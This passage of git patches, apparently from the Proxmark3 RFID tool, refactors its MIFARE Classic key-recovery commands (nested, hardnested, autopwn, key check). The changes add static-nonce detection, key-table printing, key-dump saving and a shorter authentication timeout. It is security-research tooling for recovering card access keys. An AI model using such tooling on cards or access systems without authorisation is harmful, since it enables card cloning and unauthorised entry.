PM3_SUCCESS; } static int usage_hf14_nack(void) { PrintAndLogEx(NORMAL, "Test a mifare classic based card for the NACK bug."); @@ -446,7 +449,7 @@ static int usage_hf14_nack(void) { PrintAndLogEx(NORMAL, " v verbose"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf nack"); - return 0; + return PM3_SUCCESS; } static int GetHFMF14AUID(uint8_t *uid, int *uidlen) { @@ -1373,9 +1376,12 @@ static int CmdHF14AMfNested(const char *Cmd) { // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? PrintAndLogEx(INFO, "trying to read key B..."); for (int i = 0; i < SectorsCnt; i++) { - // KEY A but not KEY B + // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { +// 0 - n +//GetSectorFromBlockNo(blockNo) + uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); PrintAndLogEx(SUCCESS, "reading block %d", sectrail); @@ -1616,6 +1622,13 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { } if (!know_target_key && nonce_file_read == false) { + + // check if tag doesn't have static/fixed nonce + if (detect_classic_static_nonce() != 0) { + PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); + return PM3_EOPABORTED; + } + uint64_t key64 = 0; // check if we can authenticate to sector if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { @@ -2270,7 +2283,7 @@ all_found: _YELLOW_("A") ":keyA " ")" ); - + // Dump the keys PrintAndLogEx(NORMAL, ""); createMfcKeyDump(GenerateFilename("hf-mf-", "-key"), sectors_cnt, e_sector); @@ -2620,17 +2633,10 @@ static int CmdHF14AMfChk(const char *Cmd) { int createDumpFile = 0; int i, keycnt = 0; - keyBlock = calloc(ARRAYLEN(g_mifare_default_keys), 6); - if (keyBlock == NULL) return PM3_EMALLOC; - - for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) - num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); - if (param_getchar(Cmd, 0) == '*') { blockNo = 3; SectorsCnt = NumOfSectors(param_getchar(Cmd + 1, 0)); if (SectorsCnt == 0) { - free(keyBlock); return usage_hf14_chk(); } } else { @@ -2652,11 +2658,18 @@ static int CmdHF14AMfChk(const char *Cmd) { break; default: PrintAndLogEx(FAILED, "Key type must be A , B or ?"); - free(keyBlock); return PM3_ESOFT; }; } + // Allocate memory for keys to be tested + keyBlock = calloc(ARRAYLEN(g_mifare_default_keys), 6); + if (keyBlock == NULL) return PM3_EMALLOC; + + // Copy default keys to list + for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) + num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); + for (i = 2; param_getchar(Cmd, i); i++) { ctmp = tolower(param_getchar(Cmd, i)); @@ -2778,6 +2791,7 @@ static int CmdHF14AMfChk(const char *Cmd) { // check keys. for (trgKeyType = (keyType == 2) ? 0 : keyType; trgKeyType < 2; (keyType == 2) ? (++trgKeyType) : (trgKeyType = 2)) { + // loop sectors but block is used as to keep track of from which blocks to test int b = blockNo; for (i = 0; i < SectorsCnt; ++i) { @@ -2813,19 +2827,25 @@ static int CmdHF14AMfChk(const char *Cmd) { // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? if (keyType != 1) { PrintAndLogEx(INFO, "testing to read key B..."); + + // loop sectors but block is used as to keep track of from which blocks to test + int b = blockNo; for (i = 0; i < SectorsCnt; i++) { - // KEY A but not KEY B + + // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { - uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); - - PrintAndLogEx(NORMAL, "Reading block %d", sectrail); + uint8_t s = GetSectorFromBlockNo(b); + uint8_t sectrail = (FirstBlockOfSector(s) + NumBlocksPerSector(s) - 1); + PrintAndLogEx(INFO, "Sector %u, First block of sector %u, Num of block %u", s, FirstBlockOfSector(s), NumBlocksPerSector(s)); + PrintAndLogEx(INFO, "Reading block %d", sectrail); mf_readblock_t payload; payload.blockno = sectrail; payload.keytype = 0; - num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A + // Use key A + num_to_bytes(e_sector[i].Key[0], 6, payload.key); clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); @@ -2843,12 +2863,16 @@ static int CmdHF14AMfChk(const char *Cmd) { e_sector[i].Key[1] = key64; } } + b < 127 ? (b += 4) : (b += 16); } } out: //print keys - printKeyTable(SectorsCnt, e_sector); + if ( SectorsCnt == 1) + printKeyTableEx(SectorsCnt, e_sector, GetSectorFromBlockNo(blockNo)); + else + printKeyTable(SectorsCnt, e_sector); if (transferToEml) { // fast push mode @@ -2857,11 +2881,14 @@ out: for (i = 0; i < SectorsCnt; ++i) { uint8_t blockno = FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1; mfEmlGetMem(block, blockno, 1); - if (e_sector[i].foundKey[0]) + + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, block); + if (e_sector[i].foundKey[1]) num_to_bytes(e_sector[i].Key[1], 6, block + 10); - if (i == SectorsCnt - 1) { + + if (i == SectorsCnt - 1) { // Disable fast mode on last packet conn.block_after_ACK = false; } @@ -3298,6 +3325,9 @@ static int CmdHF14AMfKeyBrute(const char *Cmd) { */ void printKeyTable(uint8_t sectorscnt, sector_t *e_sector) { + return printKeyTableEx(sectorscnt, e_sector, 0); +} +void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_sector) { char strA[12 + 1] = {0}; char strB[12 + 1] = {0}; PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); @@ -3316,7 +3346,7 @@ void printKeyTable(uint8_t sectorscnt, sector_t *e_sector) { PrintAndLogEx(NORMAL, "|%03d| %s | %d | %s | %d |" - , i + , start_sector , strA, e_sector[i].foundKey[0] , strB, e_sector[i].foundKey[1] ); @@ -3564,34 +3594,85 @@ static int CmdHF14AMfECFill(const char *Cmd) { } static int CmdHF14AMfEKeyPrn(const char *Cmd) { - int i; - uint8_t numSectors; + + char filename[FILE_PATH_SIZE]; + char *fptr = filename; + uint8_t sectors_cnt = MIFARE_1K_MAXSECTOR; uint8_t data[16]; + uint8_t uid[4]; + uint8_t cmdp = 0; + bool errors = false, createDumpFile = false; - char c = tolower(param_getchar(Cmd, 0)); - if (c == 'h') - return usage_hf14_ekeyprn(); - - if (c != 0) { - numSectors = NumOfSectors(c); - if (numSectors == 0) return usage_hf14_ekeyprn(); - } else { - numSectors = MIFARE_1K_MAXSECTOR; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + char ctmp = tolower(param_getchar(Cmd, cmdp)); + switch (ctmp) { + case 'd': + createDumpFile = true; + cmdp++; + break; + case 'h': + return usage_hf14_ekeyprn(); + case '0': + case '1': + case '2': + case '4': + sectors_cnt = NumOfSectors(ctmp); + if (sectors_cnt == 0) return usage_hf14_ekeyprn(); + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } } + // validations + if (errors) return usage_hf14_ekeyprn(); + + sector_t *e_sector = NULL; + + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, sectors_cnt); + if (res != sectors_cnt) + return PM3_EMALLOC; + + // read UID from EMUL + if (mfEmlGetMem(data, 0, 1) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "error get block %d", 0); + free(e_sector); + return PM3_ESOFT; + } + + memcpy(uid, data, sizeof(uid)); + + // download keys from EMUL + for (int i = 0; i < sectors_cnt; i++) { - PrintAndLogEx(NORMAL, "|---|----------------|----------------|"); - PrintAndLogEx(NORMAL, "|sec|key A |key B |"); - PrintAndLogEx(NORMAL, "|---|----------------|----------------|"); - for (i = 0; i < numSectors; i++) { if (mfEmlGetMem(data, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "error get block %d", FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); - break; - } - uint64_t keyA = bytes_to_num(data, 6); - uint64_t keyB = bytes_to_num(data + 10, 6); - PrintAndLogEx(NORMAL, "|%03d| %012" PRIx64 " | %012" PRIx64 " |", i, keyA, keyB); + e_sector[i].foundKey[0] = false; + e_sector[i].foundKey[1] = false; + } else { + e_sector[i].foundKey[0] = true; + e_sector[i].Key[0] = bytes_to_num(data, 6); + e_sector[i].foundKey[1] = true; + e_sector[i].Key[1] = bytes_to_num(data + 10, 6); + } } - PrintAndLogEx(NORMAL, "|---|----------------|----------------|"); + + // print keys + printKeyTable(sectors_cnt, e_sector); + + // dump the keys + if (createDumpFile) { + + fptr += sprintf(fptr, "hf-mf-"); + FillFileNameByUID(fptr + strlen(fptr), uid, "-key", sizeof(uid)); + + createMfcKeyDump(filename, sectors_cnt, e_sector); + } + + free(e_sector); return PM3_SUCCESS; } @@ -3985,6 +4066,31 @@ static int CmdHF14AMfCSave(const char *Cmd) { return PM3_EMALLOC; } + // Select card to get UID/UIDLEN information + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + PrintAndLogEx(WARNING, "iso14443a card select failed"); + return PM3_ESOFT; + } + + /* + 0: couldn't read + 1: OK, with ATS + 2: OK, no ATS + 3: proprietary Anticollision + */ + uint64_t select_status = resp.oldarg[0]; + + if (select_status == 0) { + PrintAndLogEx(WARNING, "iso14443a card select failed"); + return select_status; + } + + iso14a_card_select_t card; + memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + flags = MAGIC_INIT + MAGIC_WUPC; for (i = 0; i < numblocks; i++) { if (i == 1) flags = 0; @@ -3999,7 +4105,7 @@ static int CmdHF14AMfCSave(const char *Cmd) { if (useuid) { fnameptr += sprintf(fnameptr, "hf-mf-"); - FillFileNameByUID(fnameptr, dump, "-dump", 4); + FillFileNameByUID(fnameptr, card.uid, "-dump", card.uidlen); } if (fillEmulator) { diff --git a/client/cmdhfmf.h b/client/cmdhfmf.h index 55997bd87..c650b90f9 100644 --- a/client/cmdhfmf.h +++ b/client/cmdhfmf.h @@ -22,5 +22,6 @@ int CmdHF14AMfDbg(const char *Cmd); // used by cmd hf mfu dbg void showSectorTable(void); void readerAttack(nonces_t data, bool setEmulatorMem, bool verbose); void printKeyTable(uint8_t sectorscnt, sector_t *e_sector); +void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_sector); void printKeyTable_fast(uint8_t sectorscnt, icesector_t *e_sector, uint64_t bar, uint64_t foo); #endif From fc4c975b71787c01c21df022a55549da4ed80782 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 29 Dec 2019 00:01:03 +0100 Subject: [PATCH 138/418] textual --- CHANGELOG.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 200da096e..63b209d90 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,11 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Add mfu_magic.lua - script to interact with your magic NTAG tag. (@iceman1001) + - Chg `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) + - Chg `hf mf csave` - now uses UID in filename (@iceman1001) + - Fix `hf mf chk` - read block B logical error. #489 (@iceman1001) + - Add `hf mf ekeyprn d` - new parameter to save keys to file (@iceman100) + - Add `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001) - Add `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) - Add `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) - Add `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) From 55d93cd81e10f1fed8b580ae12617840be045128 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 29 Dec 2019 00:01:35 +0100 Subject: [PATCH 139/418] textual --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 63b209d90..a4a91d13c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Chg `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) - Chg `hf mf csave` - now uses UID in filename (@iceman1001) - Fix `hf mf chk` - read block B logical error. #489 (@iceman1001) - - Add `hf mf ekeyprn d` - new parameter to save keys to file (@iceman100) + - Add `hf mf ekeyprn d` - new parameter to save keys to file (@iceman1001) - Add `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001) - Add `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) - Add `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) From f8876bf7482f8929dfeef783de70262693012c35 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 29 Dec 2019 12:00:39 +0100 Subject: [PATCH 140/418] fix: hf mf nested - now print correct blockno/keytype. Unified output to autopwn style --- client/mifare/mifarehost.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 8017af076..6e3db481f 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -478,10 +478,10 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, free(statelists[1].head.slhead); num_to_bytes(key64, 6, resultKey); - PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ %012" PRIx64 " ]", - (uint16_t)resp.oldarg[2] & 0xff, - (resp.oldarg[2] >> 8) ? 'B' : 'A', - key64 + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + package->block, + package->keytype ? 'B' : 'A', + sprint_hex(resultKey, 6) ); return -5; } @@ -489,8 +489,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, out: PrintAndLogEx(SUCCESS, "target block:%3u key type: %c", - (uint16_t)resp.oldarg[2] & 0xff, - (resp.oldarg[2] >> 8) ? 'B' : 'A' + package->block, + package->keytype ? 'B' : 'A' ); free(statelists[0].head.slhead); @@ -498,6 +498,7 @@ out: return -4; } + // MIFARE int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data) { From 9c8abd20912b592cd19603528f3fb8aa494f55ea Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 29 Dec 2019 12:03:06 +0100 Subject: [PATCH 141/418] chg: refactor printkeytable\n fix: potential crete key null bug\nHelpt text changes --- client/cmdhfmf.c | 170 +++++++++++++++++++++++++---------------------- 1 file changed, 91 insertions(+), 79 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 910763a23..a7df93ed8 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -126,10 +126,10 @@ static int usage_hf14_nested(void) { PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF -- nested attack against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF"); PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); - PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- nested attack against ONE sector. Use block 0 Key A to find block 4 Key A"); + PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A"); return PM3_SUCCESS; } static int usage_hf14_hardnested(void) { @@ -165,6 +165,25 @@ static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, " hf mf hardnested 0 A A0A1A2A3A4A5 4 A FFFFFFFFFFFF"); return PM3_SUCCESS; } +/* +static int usage_hf14_fixednested(void) { + PrintAndLogEx(NORMAL, "Usage:"); + PrintAndLogEx(NORMAL, " all sectors: hf mf fixed [t,d]"); + PrintAndLogEx(NORMAL, " one sector: hf mf fixed o [t]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); + PrintAndLogEx(NORMAL, " t transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf mf fixed 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf fixed 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " hf mf fixed 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); + PrintAndLogEx(NORMAL, " hf mf fixed o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A"); + return PM3_SUCCESS; +} +*/ static int usage_hf14_autopwn(void) { PrintAndLogEx(NORMAL, "Usage:"); PrintAndLogEx(NORMAL, " hf mf autopwn [k] "); @@ -342,7 +361,7 @@ static int usage_hf14_ecfill(void) { return PM3_SUCCESS; } static int usage_hf14_ekeyprn(void) { - PrintAndLogEx(NORMAL, "It prints the keys loaded in the emulator memory"); + PrintAndLogEx(NORMAL, "Download and print the keys from emulator memory"); PrintAndLogEx(NORMAL, "Usage: hf mf ekeyprn [card memory] [d]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h this help"); @@ -1379,9 +1398,6 @@ static int CmdHF14AMfNested(const char *Cmd) { // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { -// 0 - n -//GetSectorFromBlockNo(blockNo) - uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); PrintAndLogEx(SUCCESS, "reading block %d", sectrail); @@ -1412,6 +1428,9 @@ static int CmdHF14AMfNested(const char *Cmd) { jumptoend: + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + //print them printKeyTable(SectorsCnt, e_sector); @@ -1440,38 +1459,11 @@ jumptoend: // Create dump file if (createDumpFile) { char *fptr = GenerateFilename("hf-mf-", "-key.bin"); - if (fptr == NULL) { + if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); free(e_sector); return PM3_ESOFT; } - FILE *fkeys; - if ((fkeys = fopen(fptr, "wb")) == NULL) { - PrintAndLogEx(WARNING, "could not create file " _YELLOW_("%s"), fptr); - free(e_sector); - return PM3_EFILE; - } - - PrintAndLogEx(SUCCESS, "saving keys to binary file " _YELLOW_("%s"), fptr); - uint8_t standard[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - uint8_t tempkey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - for (int i = 0; i < SectorsCnt; i++) { - if (e_sector[i].foundKey[0]) { - num_to_bytes(e_sector[i].Key[0], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } else { - fwrite(&standard, 1, 6, fkeys); - } - } - for (int i = 0; i < SectorsCnt; i++) { - if (e_sector[i].foundKey[1]) { - num_to_bytes(e_sector[i].Key[1], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } else { - fwrite(&standard, 1, 6, fkeys); - } - } - fflush(fkeys); - fclose(fkeys); } free(e_sector); } @@ -2247,46 +2239,17 @@ all_found: // Show the results to the user PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "found Keys:"); + PrintAndLogEx(INFO, "found keys:"); - char strA[12 + 1] = {0}; - char strB[12 + 1] = {0}; - PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - PrintAndLogEx(NORMAL, "|sec|key A |res|key B |res|"); - PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - for (uint8_t i = 0; i < sectors_cnt; ++i) { - - snprintf(strA, sizeof(strA), "------------"); - snprintf(strB, sizeof(strB), "------------"); - - if (e_sector[i].foundKey[0]) - snprintf(strA, sizeof(strA), "%012" PRIx64, e_sector[i].Key[0]); - - if (e_sector[i].foundKey[1]) - snprintf(strB, sizeof(strB), "%012" PRIx64, e_sector[i].Key[1]); - - - PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%c")"| %s | " _YELLOW_("%c")"|" - , i - , strA, e_sector[i].foundKey[0] - , strB, e_sector[i].foundKey[1] - ); - } - PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - PrintAndLogEx(NORMAL, "( " - _YELLOW_("D") ":Dictionary / " - _YELLOW_("S") ":darkSide / " - _YELLOW_("U") ":User / " - _YELLOW_("R") ":Reused / " - _YELLOW_("N") ":Nested / " - _YELLOW_("H") ":Hardnested / " - _YELLOW_("A") ":keyA " - ")" - ); + printKeyTable(sectors_cnt, e_sector); // Dump the keys PrintAndLogEx(NORMAL, ""); - createMfcKeyDump(GenerateFilename("hf-mf-", "-key"), sectors_cnt, e_sector); + + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, sectors_cnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + } PrintAndLogEx(SUCCESS, "transferring keys to simulator memory (Cmd Error: 04 can occur)"); @@ -2334,13 +2297,20 @@ all_found: // Generate and show statistics t1 = msclock() - t1; - PrintAndLogEx(INFO, "autopwn execution time: " _YELLOW_("%.0f") " seconds", (float)t1 / 1000.0); + PrintAndLogEx(INFO, "autopwn execution time: " _YELLOW_("%.0f") "seconds", (float)t1 / 1000.0); free(dump); free(e_sector); return PM3_SUCCESS; } +/* +static int CmdHF14AMfNestedFixed(const char *Cmd){ + + if (strlen(Cmd) < 3) return usage_hf14_fixednested(); + return PM3_SUCCESS; +} +*/ /* static int randInRange(int min, int max) { return min + (int)(rand() / (double)(RAND_MAX) * (max - min + 1)); @@ -2569,6 +2539,9 @@ out: PrintAndLogEx(WARNING, "No keys found"); } else { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + printKeyTable(sectorsCnt, e_sector); if (use_flashmemory && found_keys == (sectorsCnt << 1)) { @@ -2585,10 +2558,13 @@ out: for (i = 0; i < sectorsCnt; ++i) { uint8_t blockno = FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1; mfEmlGetMem(block, blockno, 1); + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, block); + if (e_sector[i].foundKey[1]) num_to_bytes(e_sector[i].Key[1], 6, block + 10); + if (i == sectorsCnt - 1) { // Disable fast mode on last packet conn.block_after_ACK = false; @@ -2602,8 +2578,13 @@ out: } } - if (createDumpFile) - createMfcKeyDump(GenerateFilename("hf-mf-", "-key"), sectorsCnt, e_sector); + if (createDumpFile) { + + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, sectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + } + } } free(keyBlock); @@ -2788,6 +2769,7 @@ static int CmdHF14AMfChk(const char *Cmd) { // clear trace log by first check keys call only bool clearLog = true; + // check keys. for (trgKeyType = (keyType == 2) ? 0 : keyType; trgKeyType < 2; (keyType == 2) ? (++trgKeyType) : (trgKeyType = 2)) { @@ -2868,6 +2850,9 @@ static int CmdHF14AMfChk(const char *Cmd) { } out: + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + //print keys if ( SectorsCnt == 1) printKeyTableEx(SectorsCnt, e_sector, GetSectorFromBlockNo(blockNo)); @@ -2897,8 +2882,12 @@ out: PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); } - if (createDumpFile) - createMfcKeyDump(GenerateFilename("hf-mf-", "-key"), SectorsCnt, e_sector); + if (createDumpFile) { + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + } + } free(keyBlock); free(e_sector); @@ -3331,7 +3320,7 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto char strA[12 + 1] = {0}; char strB[12 + 1] = {0}; PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - PrintAndLogEx(NORMAL, "|sec|key A |res|key B |res|"); + PrintAndLogEx(NORMAL, "|sec| key A |res| key B |res|"); PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); for (uint8_t i = 0; i < sectorscnt; ++i) { @@ -3344,14 +3333,36 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto if (e_sector[i].foundKey[1]) snprintf(strB, sizeof(strB), "%012" PRIx64, e_sector[i].Key[1]); - - PrintAndLogEx(NORMAL, "|%03d| %s | %d | %s | %d |" + if (e_sector[i].foundKey[0] > 1) { + PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%c")"| %s | " _YELLOW_("%c")"|" + , i + , strA, e_sector[i].foundKey[0] + , strB, e_sector[i].foundKey[1] + ); + } else { + PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%d")"| %s | " _YELLOW_("%d")"|" , start_sector , strA, e_sector[i].foundKey[0] , strB, e_sector[i].foundKey[1] ); + } } PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); + + if (e_sector[0].foundKey[0] > 1) { + PrintAndLogEx(NORMAL, "( " + _YELLOW_("D") ":Dictionary / " + _YELLOW_("S") ":darkSide / " + _YELLOW_("U") ":User / " + _YELLOW_("R") ":Reused / " + _YELLOW_("N") ":Nested / " + _YELLOW_("H") ":Hardnested / " + _YELLOW_("A") ":keyA " + ")" + ); + } else { + PrintAndLogEx(NORMAL, "(" _YELLOW_("0") ": Failed / " _YELLOW_("1") ": Success)"); + } } @@ -4567,6 +4578,7 @@ static command_t CommandTable[] = { {"darkside", CmdHF14AMfDarkside, IfPm3Iso14443a, "Darkside attack"}, {"nested", CmdHF14AMfNested, IfPm3Iso14443a, "Nested attack"}, {"hardnested", CmdHF14AMfNestedHard, AlwaysAvailable, "Nested attack for hardened MIFARE Classic cards"}, +// {"fixednested", CmdHF14AMfNestedFixed, IfPm3Iso14443a, "Nested attack against static/fixed nonce Mifare Classic cards"}, {"autopwn", CmdHF14AMfAutoPWN, IfPm3Iso14443a, "Automatic key recovery tool for MIFARE Classic"}, // {"keybrute", CmdHF14AMfKeyBrute, IfPm3Iso14443a, "J_Run's 2nd phase of multiple sector nested authentication key recovery"}, {"nack", CmdHf14AMfNack, IfPm3Iso14443a, "Test for MIFARE NACK bug"}, From 6121d816e783b23efa8674ea4bf7c7edccfe0c07 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 12:50:44 +0100 Subject: [PATCH 142/418] Chg: faster authentication by lower timeout limit. (@pwpiwi) --- armsrc/mifareutil.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 3ccf25737..2e6ba8ade 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -127,7 +127,7 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, int mifare_classic_auth(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested) { return mifare_classic_authex(pcs, uid, blockNo, keyType, ui64Key, isNested, NULL, NULL); } - + int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockNo, uint8_t keyType, uint64_t ui64Key, uint8_t isNested, uint32_t *ntptr, uint32_t *timing) { int len; uint32_t pos, nt, ntpp; // Supplied tag nonce @@ -190,8 +190,17 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN // Transmit reader nonce and reader answer ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + // save standard timeout + uint32_t save_timeout = iso14a_get_timeout(); + + // set timeout for authentication response + iso14a_set_timeout(106); + // Receive 4 byte tag answer len = ReaderReceive(receivedAnswer, receivedAnswerPar); + + iso14a_set_timeout(save_timeout); + if (!len) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Authentication failed. Card timeout."); return 2; From 0c8ead0bd66d87fed5d26ee64e1a23dc63bf7ee6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 30 Dec 2019 13:11:44 +0100 Subject: [PATCH 143/418] fix: forgot some changes --- armsrc/iso14443a.c | 3 --- armsrc/iso14443a.h | 3 +++ 2 files 